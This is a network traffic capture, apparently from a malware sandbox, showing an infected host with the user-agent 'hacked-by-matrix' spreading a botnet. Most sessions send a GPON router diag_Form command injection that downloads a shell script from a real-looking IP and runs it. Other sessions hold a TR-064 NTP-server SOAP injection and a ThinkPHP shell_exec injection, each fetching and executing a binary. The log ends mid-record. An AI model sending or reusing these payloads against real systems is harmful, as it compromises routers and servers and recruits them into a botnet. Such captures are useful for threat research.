Mar 21, 2024 05:22:04.185002089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.14	46994	2.86.133.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185029030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.14	38328	210.232.209.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185050964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.14	60984	79.157.51.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185120106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.14	43176	109.20.67.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185142040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.14	54692	94.167.53.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185173988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.14	59088	210.12.220.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185205936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.14	46580	94.21.178.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185240030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.14	47242	2.88.24.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185240030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.14	56538	5.126.129.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185308933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.14	36504	94.102.180.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185323000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.14	56302	212.51.95.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185338020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.14	50590	37.187.128.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185410023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.14	40948	178.245.147.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185415983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.14	33760	79.94.114.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185475111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.14	51020	109.12.134.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185508966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.14	41220	37.67.125.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.185513020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.14	54452	118.54.51.114	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.437134981 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:04.725620985 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:22:03 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.14	47126	51.15.240.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.536803007 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:05.438591957 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:05.605648994 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.14	33206	112.30.176.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.031452894 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.682626963 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:07.230514050 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.14	36564	178.242.17.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168299913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.14	35528	79.95.126.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168344021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.14	58304	42.53.27.205	443

Timestamp	Bytes transferred	Direction	Data
